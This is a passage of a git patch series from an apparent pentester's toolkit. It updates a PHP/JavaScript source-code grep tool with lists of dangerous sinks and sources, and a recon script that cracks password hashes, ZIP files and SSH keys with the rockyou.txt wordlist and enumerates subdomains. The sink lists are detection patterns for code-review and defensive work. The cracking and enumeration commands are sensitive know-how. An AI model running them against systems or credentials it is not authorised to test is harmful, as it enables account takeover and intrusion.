"\n\n", "-" * 100) + print("-" * 6, " PEF | PHP Source Code grep tool", + " " * 35, "-" * 16) + print("-" * 6, " https://github.com/bl4de ", + " " * 22, "-" * 16) + print("-" * 100, "\33[0m\n") +def parse_arguments(): + """ + Parses command line arguments + """ parser = argparse.ArgumentParser( - description=sys.modules[__name__].__doc__, + description="PHP Source Code grep tool", add_help=True ) - filename = '.' # initial value for file/dir to scan is current directory - phpfunction = '' - parser.add_argument( - "-s", "--skip-vendor", help=f"exclude ./vendor folder", action="store_true") + "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") parser.add_argument( - "-v", "--verbose", help=f"show documentation", action="store_true") + "-v", "--verbose", help="show documentation", action="store_true") parser.add_argument( "-l", "--level", - help=f"severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: {DEFAULT_LEVELS} if -f is set, this setting is ignored") + help=f"severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: {DEFAULT_LEVELS}") parser.add_argument( - "-S", "--sources", help=f"show only sources", action="store_true") + "-L", "--lang", + help=f"language: PHP, JavaScript; default: {DEFAULT_LANG}") parser.add_argument( - "-K", "--sinks", help=f"show only sinks", action="store_true") + "-S", "--sources", help="show only sources", action="store_true") + parser.add_argument( + "-K", "--sinks", help="show only sinks", action="store_true") parser.add_argument( "-f", "--function", - help=f"Search for particular PHP function (eg. unserialize)", + help="Search for particular PHP function (eg. unserialize)", ) parser.add_argument( "-d", "--dir", - help=f"Directory to scan (or sinlge file, optionally)", + help="Directory to scan (or single file, optionally)", ) + return parser.parse_args() + +# main program +if __name__ == "__main__": - args = parser.parse_args() + if len(sys.argv) == 1: + print(f"{beautyConsole.getColor('red')}No arguments provided, use -h for help") + exit(1) + args = parse_arguments() + + lang = args.lang.lower() if args.lang else DEFAULT_LANG.lower() level = args.level.upper() if args.level else 'HIGH,CRITICAL' # if we are looking for a specific function, level is not taken into account @@ -361,13 +265,19 @@ def print_summary(self, total_found: int) -> None: if args.sinks: source_or_sink = 'sink' + # if no directory or file is provided, exit if args.dir is None: print(f"{beautyConsole.getColor('red')}No directory or file(s) to scan provided...") - exit(0) + exit(1) + + # check if the langauge selected is available + if lang not in [l.lower() for l in ALLOWED_LANG]: + print(f"{beautyConsole.getColor('red')}Language {args.lang} is not supported, use one of: {', '.join(ALLOWED_LANG)}") + exit(1) filename = args.dir # main orutine starts here - engine = PefEngine(level, source_or_sink, + engine = PefEngine(lang, level, source_or_sink, filename, args.skip_vendor, args.function, args.verbose) engine.run() diff --git a/pef/test.js b/pef/test.js new file mode 100644 index 0000000..a9711a6 --- /dev/null +++ b/pef/test.js @@ -0,0 +1,5 @@ +'use strict'; +const cmd = 'console.log("Hello, World!");'; +eval(cmd); + + From b7bf0ec80922ef9339049574ed22819381328fb8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 16 Jul 2025 20:16:37 +0100 Subject: [PATCH 362/369] [s0mbra] fix paths for John The Ripper --- s0mbra.sh | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a932357..9a48152 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -77,13 +77,13 @@ http_server() { # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] rockyou_john() { echo -e "$BLUE[s0mbra] Running john with rockyou dictionary against $1 of type $2$CLR" - echo > "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot + echo > "$HACKING_HOME"/tools/jtr/run/john.pot if [[ -n $2 ]]; then - "$HACKING_HOME"/tools/JohnTheRipper/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" elif [[ -z $2 ]]; then - "$HACKING_HOME"/tools/JohnTheRipper/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" fi - cat "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot + cat "$HACKING_HOME"/tools/jtr/run/john.pot echo -e "\n$BLUE[s0mbra] Done." osascript -e 'display notification "our choom John has left the house..." with title "s0mbra says:"' } @@ -91,14 +91,14 @@ rockyou_john() { # show JohnTheRipper's pot file john_pot() { echo -e "$BLUE[s0mbra] Joghn The Ripper pot file:$GRAY" - cat "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot + cat "$HACKING_HOME"/tools/jtr/run/john.pot echo -e "\n$BLUE[s0mbra] Done." } # ZIP password cracking with rockyou.txt rockyou_zip() { echo -e "$BLUE[s0mbra] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." - "$HACKING_HOME"/tools/JohnTheRipper/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt + "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt echo -e "$BLUE[s0mbra] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt echo -e "\n$BLUE[s0mbra] Done." @@ -107,7 +107,7 @@ rockyou_zip() { # converts id_rsa to JohnTheRipper format for cracking SSH key ssh_to_john() { echo -e "$BLUE[s0mbra] Converting SSH id_rsa key to JohnTheRipper format to crack it$CLR" - python "$HACKING_HOME"/tools/JohnTheRipper/run/sshng2john.py "$1" > "$1".hash + python "$HACKING_HOME"/tools/jtr/run/sshng2john.py "$1" > "$1".hash echo -e "$BLUE[s0mbra] We have a hash.\n" echo -e "$BLUE[s0mbra] Let's now crack it!" rockyou_john "$1".hash From 4ed6384b5f2c24ebce8c401511206f5c8adcfd7e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 17 Jul 2025 16:56:21 +0100 Subject: [PATCH 363/369] [pef] add JavaScript sources and sinks --- pef/imports/pefdocs.py | 128 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 128 insertions(+) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index b48edf9..79b74a9 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -4,6 +4,22 @@ exploitableFunctions = { "javascript": [ "eval(", + "document.URL", + "document.documentURI", + "document.baseURI", + "location", + "document.cookie", + "document.referrer", + "document.write(", + "innerHTML", + "outerHTML", + "insertAdjacentHTML(", + "location.host", + "location.href", + "location.search", + "Function(", + "textContent", + "innerText", ], "php": [ "`", @@ -125,6 +141,118 @@ "RCE", "critical", "sink" + ], + "document.URL": [ + "The URL of the document", + "document.URL", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.documentURI": [ + "The documentURI property returns the URI of the document", + "document.documentURI", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.baseURI": [ + "The baseURI property returns the absolute base URI of the document", + "document.baseURI", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "location": [ + "The location property of the Window interface is a Location object, which represents the location (URL) of the object to which it is applied.", + "location", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.cookie": [ + "The cookie property of the Document interface represents the cookies of the current document.", + "document.cookie", + "XSS, CSRF, Cookie Injection", + "medium", + "source" + ], + "document.referrer": [ + "The referrer property of the Document interface returns the address of the previous document from which the current document was accessed.", + "document.referrer", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.write()": [ + "The write() method of the Document interface writes a string of text to a document stream opened by document.open().", + "document.write(text)", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "innerHTML": [ + "The innerHTML property of the Element interface gets or sets the HTML or XML markup contained within the element.", + "element.innerHTML", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "outerHTML": [ + "The outerHTML property of the Element interface gets or sets the HTML or XML markup contained within the element, including the element itself.", + "element.outerHTML", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "insertAdjacentHTML": [ + "The insertAdjacentHTML() method of the Element interface parses the specified text as HTML or XML and inserts the resulting nodes into the DOM tree at a specified position.", + "element.insertAdjacentHTML(position, text)", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "location.host": [ + "The host property of the Location interface returns the host and port of the URL.", + "location.host", + "SSRF, Filter Bypass, Open Redirect", + "medium", + "sink" + ], + "location.href": [ + "The href property of the Location interface gets or sets the entire URL.", + "location.href", + "SSRF, Filter Bypass, Open Redirect", + "medium", + "sink" + ], + "location.search": [ + "The search property of the Location interface gets or sets the query string part of the URL.", + "location.search", + "SSRF, Filter Bypass", + "medium", + "sink" + ], + "Function()": [ + "The Function() constructor creates a new Function object. Calling the constructor directly can create functions dynamically, but it is not recommended due to security and performance reasons.", + "new Function([arg1[, arg2[, ...argN]],] functionBody)", + "RCE", + "critical", + "sink" + ], + "textContent": [ + "The textContent property of the Node interface represents the text content of the node and its descendants.", + "element.textContent", + "XSS, HTML Injection, Content Injection etc.", + "medium", + "sink" + ], + "innerText": [ + "The innerText property of the Element interface represents the rendered text content of an element and its descendants.", + "element.innerText", + "XSS, HTML Injection, Content Injection etc.", + "medium", + "sink" ] }, "php": { From b12141fa673dd618da7c7a1289037152cdf1b31b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 19 Jul 2025 23:42:05 +0100 Subject: [PATCH 364/369] [s0mbra] remove unused commands --- s0mbra.sh | 33 +-------------------------------- 1 file changed, 1 insertion(+), 32 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9a48152..08d5a55 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -675,26 +675,6 @@ hshr() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# extract links and API endpoints from JavaScript file -urls() { - echo -e "$BLUE[s0mbra] Extracting URLs from $1...$CLR" - python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i "$1" -o cli | rg http | sort -u - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - -endpoints() { - echo -e "$BLUE[s0mbra] Extracting URLs from $1...$CLR" - python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i "$1" -o cli | rg -v http | sort -u - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - -# extract secrets from JavaScript file -secrets() { - echo -e "$BLUE[s0mbra] Extracting secrets from $1...$CLR" - python /Users/bl4de/hacking/tools/SecretFinder/SecretFinder.py -i "$1" -o cli | sort -u - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - ### menu cmd=$1 @@ -813,15 +793,6 @@ case "$cmd" in rubysast) ruby_sast "$2" ;; - urls) - urls "$2" - ;; - endpoints) - endpoints "$2" - ;; - secrets) - secrets "$2" - ;; *) clear echo -e "$CLR" @@ -850,9 +821,7 @@ case "$cmd" in echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" - echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN urls $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" - echo -e "$CYAN secrets $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR\t$CYAN endpoints $GRAY[FILE|DIR|URL]\t$YELLOW(JavaScript)$CLR" - echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" From 5cde940a6391a4d15d8934466ca7ab85afae6531 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 17 Sep 2025 08:17:51 +0100 Subject: [PATCH 365/369] [s0mbra] update --- Vi/vi.py | 135 ---------------------------------------------- s0mbra.sh | 8 +++ subdomain_enum.sh | 98 --------------------------------- 3 files changed, 8 insertions(+), 233 deletions(-) delete mode 100755 Vi/vi.py delete mode 100644 subdomain_enum.sh diff --git a/Vi/vi.py b/Vi/vi.py deleted file mode 100755 index 43408b9..0000000 --- a/Vi/vi.py +++ /dev/null @@ -1,135 +0,0 @@ -#!/usr/bin/env python3 -import re -import urllib.parse -from collections import deque - -import requests -import requests.exceptions -from bs4 import BeautifulSoup - -''' -Vi.py - an automated script to extract all inteersting information from website - -@author: bl4de - -@TBD: -- refactor scafolding code [In progress] -- add argparser - -- extract JavaScript files -> scan them for stuff - (API endpoints, secrets, hardcoded information etc.) -- parse HTML for stuff -- harvest useful information from any comment found (in HTML and JS alike) -- other? (TBA) -''' - - -def extract_emails(emails: set, http_response: requests.Response) -> set: - ''' - Extracts emails from provided HTTP response body and append them - to already found set of emails - ''' - emails.update(set(re.findall( - r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+", http_response.text, re.IGNORECASE))) - return emails - - -def extract_javascript_files(javascript_files: set, http_response: requests.Response) -> set: - ''' - Extracts JavaScript files urls from provided HTTP response body and append them - to already found set of javascript_files - ''' - javascript_files.update(set(re.findall( - r"[a-z0-9\.\-_]+\.js", http_response.text, re.IGNORECASE - ))) - return javascript_files - - -def parse_javascript_file(js_filename: str): - ''' - Parse JavaScript file for interesting stuff - ''' - TYPE = 'DEBUG' - print(f"[{TYPE}] parsing {js_filename} for interesting stuff...") - pass - - -def tear_off(): - ''' - Performs data extraction stage - ''' - for js_filename in javascript_files: - parse_javascript_file(js_filename) - - pass - - -def recon(emails: set, javascript_files: set): - ''' - Creates list of resources; some will be proceeded later in next - steps - ''' - user_url = str(input('[+] Enter Target URL To Scan: ')) - urls = deque([user_url]) - MAX_COUNT = 2 - - scraped_urls = set() - - count = 0 - - try: - ''' - main execution loop - ''' - while len(urls): - count += 1 - if count == MAX_COUNT: - break - url = urls.popleft() - scraped_urls.add(url) - - parts = urllib.parse.urlsplit(url) - base_url = '{0.scheme}://{0.netloc}'.format(parts) - - path = url[:url.rfind('/') + 1] if '/' in parts.path else url - - print('[%d] Processing %s' % (count, url)) - try: - response = requests.get(url) - except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): - continue - - emails = extract_emails(emails, response) - javascript_files = extract_javascript_files( - javascript_files, response) - - soup = BeautifulSoup(response.text, features="lxml") - - for anchor in soup.find_all("a"): - link = anchor.attrs['href'] if 'href' in anchor.attrs else '' - if link.startswith('/'): - link = base_url + link - elif not link.startswith('http'): - link = path + link - if not link in urls and not link in scraped_urls: - urls.append(link) - except KeyboardInterrupt: - print('[-] Closing!') - - for mail in emails: - print(mail) - for url in urls: - print(url) - for js_file in javascript_files: - print(js_file) - - -if __name__ == "__main__": - emails = set() - javascript_files = set() - - # go through provided url; find emails, javascript files etc. - recon(emails, javascript_files) - - # extract sensitive and interesting information from what was found - tear_off() diff --git a/s0mbra.sh b/s0mbra.sh index 08d5a55..c10bbdb 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -675,6 +675,14 @@ hshr() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# cat <<'-md-' +# # s0mbra.sh - Recon and pentest tool + +# This script is a collection of various tools and functions for reconnaissance, pentesting, and code analysis +# It provides functionalities for network scanning, web application testing, cloud storage enumeration, and more. + +# -md- + ### menu cmd=$1 diff --git a/subdomain_enum.sh b/subdomain_enum.sh deleted file mode 100644 index daea6b3..0000000 --- a/subdomain_enum.sh +++ /dev/null @@ -1,98 +0,0 @@ -#!/bin/bash -# Subdomain enumeration and web server discovery + screenshot tools -# -# @author: bl4de -# @licence: MIT -# - - -## create domains/ folder -create_domains_folder() { - if [ ! -d domains ]; then - mkdir domains - echo -e "$(date) domains/ folder created" >> subdomain_enum.log - fi -} - - -## perform sublist3r and amass enumeration on each domain passed as an argument -enumerate_domain() { - local DOMAIN=$1 - echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log - sublister -d $DOMAIN -o domains/$DOMAIN.sublister - amass enum -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass - - if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then - cat domains/$DOMAIN.* > domains/$DOMAIN.all - sort -u -k 1 domains/$DOMAIN.all > domains/$DOMAIN - fi - rm -f domains/$DOMAIN.* - echo -e "$(date) finished enumerate $DOMAIN, total number of unique domains found: $(cat domains/$DOMAIN|wc -l)" >> subdomain_enum.log -} - -## processing all outputed list of domains into one, removing dups -## and sorting -create_list_of_domains() { - echo -e "$(date) create final list of domains found..." >> subdomain_enum.log - # concatenate and sort all domains from the target - cat domains/*.* > domains/domains.all - sort -u -k 1 domains/domains.all > domains/__domains - # remove odd
left by Sublist3r or amass :P - sed 's/
/#/g' __domains | tr '#' '\n' > __domains.final - rm -f domains/domains.all - echo -e "$(date) ... Done! $(cat domains/__domains.final|wc -l) unique domains gathered \o/" >> subdomain_enum.log -} - - -## runs denumerator -run_denumerator() { - echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/__domains.final -c 200,302,403,500 - echo -e "$(date) denumerator finished" >> subdomain_enum.log - echo -e "$(date) total webservers enumerated and saved to report: $(ls -l report/ | wc -l)" >> subdomain_enum.log -} - - -## performs nmap scan -run_virustotal_enum() { - echo -e "$(date) virustotal $CIDR enumeration started" >> subdomain_enum.log - # run virustotal.py reverse domain search - virustotal --cidr $CIDR --output domains/virustotal.domains - echo -e "$(date) virustotal $CIDR enumeration finished, $(cat domains/virustotal.domains|wc -l) domains found" >> subdomain_enum.log -} - - -## ----------------------------------------------------------------------------- - -# list of domains - text file, one domain in single line -DOMAINS=$1 - -# IP address range -CIDR=$2 - -echo -e "$(date) subdomain_enum.sh started" >> subdomain_enum.log - -# enusre that domains/ folder exists, if not create one -create_domains_folder - -if [[ -n $CIDR ]]; then - run_virustotal_enum -fi - -cat $DOMAINS | while read DOMAIN -do - enumerate_domain $DOMAIN -done - -# concatenate and sort all domains from the target -create_list_of_domains -echo -e "\n[+} DONE. Found $(wc -l domains/__domains.final) unique subdomains" - -# run denumerator on the domains/domains.final output file -run_denumerator - -echo -e "\n[+} DONE." - -## ----------------------------------------------------------------------------- - - From 128236f5078a140352a24d277febdcf0ee5e2035 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 25 Sep 2025 19:03:08 +0100 Subject: [PATCH 366/369] [s0mbra] proper temp filenames to remove after scan is done --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index c10bbdb..def71a4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -234,8 +234,8 @@ enum() { # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -f $TMPDIR/sublister_$DOMAIN.log - rm -f $TMPDIR/subfinder.log + rm -f $TMPDIR/enum_amass.log + rm -f $TMPDIR/enum_subfinder.log rm -f $TMPDIR/amass.tmp # httpx From 94152adbd020988862e5156ca8113fc7a8329ffc Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 10 Feb 2026 18:22:44 +0000 Subject: [PATCH 367/369] commented backticks --- pef/imports/pefdocs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 79b74a9..8395d59 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -22,7 +22,7 @@ "innerText", ], "php": [ - "`", + # "`", "system(", "exec(", "popen(", From 0a18ad474e2546b40c7d8df9e47f0353ffd7e077 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 14 Apr 2026 21:20:18 +0100 Subject: [PATCH 368/369] updates --- pef/imports/pefdocs.py | 11 ++++++++++- s0mbra.sh | 6 +++--- 2 files changed, 13 insertions(+), 4 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 8395d59..a0efbfd 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -20,6 +20,7 @@ "Function(", "textContent", "innerText", + "URLSearchParams(", ], "php": [ # "`", @@ -253,7 +254,15 @@ "XSS, HTML Injection, Content Injection etc.", "medium", "sink" - ] + ], + "URLSearchParams": [ + "The URLSearchParams interface defines utility methods to work with the query string of a URL.", + "URLSearchParams()", + "XSS, HTML Injection, Content Injection etc.", + "medium", + "source" + ], + }, "php": { "`": [ diff --git a/s0mbra.sh b/s0mbra.sh index def71a4..c42f9ce 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -218,9 +218,9 @@ enum() { echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" # amass passive enum - echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" - amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" - cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" + # echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" + # amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" + # cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" From 4d3b58f491114ebae0a387eba58926b24d5fbe29 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 22 Apr 2026 15:10:17 +0100 Subject: [PATCH 369/369] [s0mbra] update --- s0mbra.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index c42f9ce..17d618a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -217,10 +217,10 @@ enum() { DOMAIN=$1 echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" - # amass passive enum - # echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" - # amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" - # cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" + amass passive enum + echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" + amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" + cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n"